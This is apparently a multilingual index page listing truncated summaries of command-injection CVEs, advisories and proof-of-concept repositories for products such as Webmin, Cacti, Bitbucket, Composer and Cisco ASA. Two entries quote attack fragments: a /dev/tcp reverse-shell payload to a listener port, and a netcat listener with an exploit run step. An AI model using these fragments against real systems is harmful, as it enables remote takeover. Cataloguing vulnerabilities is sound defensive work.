CVE-2024-56115

CVE-2024-56115 وصف مقترح توجد ثغرة أمنية في Amiro.CMS قبل الإصدار 7.8.4 بسبب الفشل في اتخاذ إجراءات لتحييد العناصر الخاصة. تسمح للمهاجمين عن بُعد بتنفيذ هجوم Cross-Site Scripting XSS. نوع الثغرة الأمنية CWE-78 | Improper Neutralization of Special Elements used in an OS Command 'OS Command...

CVE-2026-40176-poc

CVE-2026-40176: Composer Perforce OS कमांड इंजेक्शन PoC English version सारांश यह रिपॉजिटरी Composer के Perforce VCS ड्राइवर में मौजूद एक गंभीर OS कमांड इंजेक्शन भेद्यता CVE-2026-40176 का Proof of Concept PoC है। यह भेद्यता Composer 2.2.27 और 2.9.6 से पहले के संस्करणों को प्रभावित करती है। भेद्यत...

CVE-2026-2256-Threat-Model----ms-agent-Command-Injection

CVE-2026-2256-खतरा-मॉडल----ms-agent-Command-Injection...

watchTowr-vs-Dell-UnityVSA-PreAuth-CVE-2025-36604

watchTowr-vs-Dell-UnityVSA-CVE-2025-36604 Dell UnityVSA CVE-2025-36604 के लिए डिटेक्शन आर्टिफैक्ट जनरेटर https://github.com/user-attachments/assets/28488a97-7845-4b78-9fe7-64b9172ab023 तकनीकी विवरण के लिए हमारा ब्लॉग पोस्ट देखें कार्रवाई में पता लगाना python...

Atlassian-Bitbucket-CVE-2022-36804

Atlassian-Bitbucket-Server-CVE-2022-36804 Atlassian Bitbucket Server और Data center के कई API एंडपॉइंट्स में एक गंभीर कमांड इंजेक्शन कमजोरी पाई गई है। यह कमजोरी Bitbucket Server और Data Center के उन सभी संस्करणों को प्रभावित करती है जो & /dev/tcp/172.17.0.2/4444 0&1" netcat listener प्रारंभ करें:...

K000163537: Vim vulnerability CVE-2026-73073

Security Advisory Description Vim is an open source, command line text editor. Prior to 9.2.0845, StructMembers in runtime/autoload/ccomplete.vim constructs and executes a vimgrep command using an insufficiently escaped typeref: or typename: value from a tags file, allowing an unterminated...

Termix-research

أبحاث أمنية حول Termix بحث في الثغرات على Termix، وهي منصة إدارة خوادم وSSH قائمة على الويب أكثر من 13 ألف نجمة. CVE| الوصف| الخطورة| أُصلحت في| النشرة الأمنية ---|---|---|---|--- CVE-2026-45746| اختطاف الجلسة → RCE| 9.0 حرجة| v2.3.2| GHSA-cx2r-843c-vww8 CVE-2026-45750| حقن أوامر النظام| 9.0 حرجة...

CVE-2022-31499

CVE-2022-31499 शोषण शीर्षक: Nortek Linear eMerge E3-Series - अंध OS कमांड इंजेक्शन...

Cacti <=1.2.22 - Remote Command Injection

Cacti through 1.2.22 is susceptible to remote command injection. There is insufficient authorization within the remote agent when handling HTTP requests with a custom Forwarded-For HTTP header. An attacker can send a specially crafted HTTP request to the affected instance and execute arbitrary OS...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ Webmin =1.920 में एक समस्या पाई गई। passwordchange.cgi में "old" और "expire" पैरामीटर में कमांड इंजेक्शन कमजोरी है। उपयोग 1. लाल बॉक्स पर एक लिसनर शुरू करें। rlwrap -cAr nc -lvp 1919 2. एक्सप्लॉइट चलाएँ ./exploit.sh 3. तर्क मांगे जाएंग...

CVE-2022-46169_poc

CVE-2022-46169 تنفيذ عن بُعد للتعليمات البرمجية بدون مصادقة الوصف تجاوز المصادقة: التحقق من التفويض بناءً على اسم المضيف لا يتم تنفيذه بأمان في معظم تثبيتات Cacti حقن الأوامر: يتم تمرير إدخال المستخدم غير المنقى إلى سلسلة تستخدم لتنفيذ أمر خارجي عرض توضيحي إثبات المفهوم التثبيت باستخدام go instal...

glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router

إثبات مفهوم PoC لثلاث ثغرات RCE في GL.iNet Beryl AX إثبات مفهوم لثلاث ثغرات حقن أوامر غير مصادَق عليها CVE-2026-11450, CVE-2026-11451, CVE-2026-11452 في البرنامج الثابت لراوتر السفر GL.iNet GL-MT3000 Beryl AX حتى الإصدار 4.4.5. الشرح الكامل:...

CVE-2026-46368-OpenWrt-Exploit

OpenWrt luci-app-https-dns-proxy ثغرة حقن الأوامر المُوثَّقة CVE-2026-46368 يحتوي هذا المستودع على كود إثبات المفهوم PoC لاستغلال ثغرة حرجة في حقن أوامر نظام التشغيل في luci-app-https-dns-proxy تؤدي إلى تنفيذ أوامر عشوائية بصلاحيات الجذر. CVE ID: CVE-2026-46368 Exploit-DB: EDB-52521 CVSS: 8.8 v3....

K000163534: Ruby vulnerabilities CVE-2026-42245, CVE-2026-42246, CVE-2026-42257

Security Advisory Description CVE-2026-42245 Net::IMAP implements Internet Message Access Protocol IMAP client functionality in Ruby. Prior to versions 0.4.24, 0.5.14, and 0.6.4, Net::IMAP::ResponseReader has quadratic time complexity when reading large responses containing many string literals. ...

PT-2026-106219

Name of the Vulnerable Software and Affected Versions Chainguard Academy edu integrate-platform-docs composite GitHub Action versions from commit 7375a80caabcc31c33ec90f29687ed78c13d16ff through commit fb0efb2537d326ab18c07d620875b8ed2a4b39f3 Description Improper neutralization of special element...

Cisco ASA Command Injection (CVE-2021-1488)

A vulnerability in the upgrade process of Cisco Adaptive Security Appliance ASA Software and Cisco Firepower Threat Defense FTD Software could allow an authenticated, local attacker to inject commands that could be executed with root privileges on the underlying operating system OS. This...

CVE-2026-105767: Improper Neutralization of Special Elements used in an OS Command

Improper Neutralization of Special Elements used in an OS Command in the integrate-platform-docs composite GitHub Action of Chainguard Academy edu from commit 7375a80caabcc31c33ec90f29687ed78c13d16ff before commit fb0efb2537d326ab18c07d620875b8ed2a4b39f3 allows an actor who controls the projectid...

Cisco ASA OS Command Injection (CVE-2021-1476)

A vulnerability in the CLI of Cisco Adaptive Security Appliance ASA Software and Cisco Firepower Threat Defense FTD Software could allow an authenticated, local attacker to execute arbitrary commands on the underlying operating system OS of an affected device. The vulnerability is due to...

PT-2026-106212

Name of the Vulnerable Software and Affected Versions Penpot versions prior to 2.18.0 Description The SVG exporter improperly handles the fill-color value of a text object, inserting it into a ppmcolormask command string that is then executed via child process.exec. An attacker with file editing...